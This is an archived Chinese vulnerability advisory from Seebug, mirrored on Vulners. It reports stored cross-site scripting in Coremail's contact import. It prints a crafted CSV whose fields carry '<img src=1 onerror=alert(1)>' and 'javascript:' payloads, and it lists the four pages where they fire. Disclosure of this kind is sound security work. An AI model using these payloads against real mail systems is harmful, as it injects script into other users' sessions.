Search...

Coremail某功能多处存储型XSS

2015-01-06T00:00:00
ID SSV:94741
Type seebug
Reporter Root
Modified 2015-01-06T00:00:00

Description

简要描述：

漏洞还是得交乌云。

详细说明：

coremail在个人通讯录处可以导入联系人，格式为csv。

<img src="https://images.seebug.org/upload/201501/06151859d42791e1ad4cf5f545b14e12febd2e5c.jpg" alt="01.jpg" width="600" onerror="javascript:errimg(this);">

导入如下CSV：

联系组,姓名,电子邮件地址,住宅地址,住宅地址 邮政编码,住宅电话,移动电话,单位,商务地址,商务地址 邮政编码,商务电话,商务传真,生日,即时信息地址,网页,__cm_group aa&lt;/textarea&gt;&lt;img src=1 onerror=alert(1)&gt;aaaaa,&lt;/textarea&gt;&lt;img src=1 onerror=alert(1)&gt;,&lt;/textarea&gt;&lt;img src=1 onerror=alert(1)&gt;@qq.com,,,,13132132132,&lt;img src=1 onerror=alert(1)&gt;,&lt;img src=1 onerror=alert(1)&gt;,,&lt;img src=1 onerror=alert(1)&gt;,,19881212,&lt;img src=1 onerror=alert(1)&gt;,javascript:alert(1) ,,,,,,,,,,,,,,,FRIENDS=&lt;img src=1 onerror=alert(1)&gt; ,,,,,,,,,,,,,,,FAMILY=&lt;img src=1 onerror=alert(1)&gt; ,,,,,,,,,,,,,,,COWORKERS=&lt;img src=1 onerror=alert(1)&gt; ,,,,,,,,,,,,,,,NETFRIENDS=网友 ,,,,,,,,,,,,,,,VIP=重要联系人

可见主页面已经转义了，没有触发：

<img src="https://images.seebug.org/upload/201501/061520502dc102db7e51d63b6f3d9480c88a5c34.jpg" alt="02.jpg" width="600" onerror="javascript:errimg(this);">

但各个功能页面都存在触发的问题，列举如下： 1.新建联系组时触发：

<img src="https://images.seebug.org/upload/201501/06152844f9752692c7b32a4850bca83e4ab6cfa4.jpg" alt="08.jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201501/0615230486304b27eb3bf9e914cfcd05cdce71c4.jpg" alt="03.jpg" width="600" onerror="javascript:errimg(this);">

2.打印联系人时触发：

<img src="https://images.seebug.org/upload/201501/061524361b7ae99ea4d1ce42cbbf797747868921.jpg" alt="04.jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201501/0615252783c090ebc26355a0d358bd03a707a024.jpg" alt="05.jpg" width="600" onerror="javascript:errimg(this);">

3.编辑组时触发：

<img src="https://images.seebug.org/upload/201501/06152802a91b0282e0aa0cd0035f13ef98d68af4.jpg" alt="06.jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201501/06152813553ed2a5f5bf7066f217c4ac265b2b95.jpg" alt="07.jpg" width="600" onerror="javascript:errimg(this);">

4.清空联系人邮件时触发：

<img src="https://images.seebug.org/upload/201501/06153120ab6cac00737986c8243b060409e05077.jpg" alt="09.jpg" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201501/06153129247a30e8bf60788ef1af560154e45f1f.jpg" alt="10.jpg" width="600" onerror="javascript:errimg(this);">

漏洞证明：

见详细说明。

JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by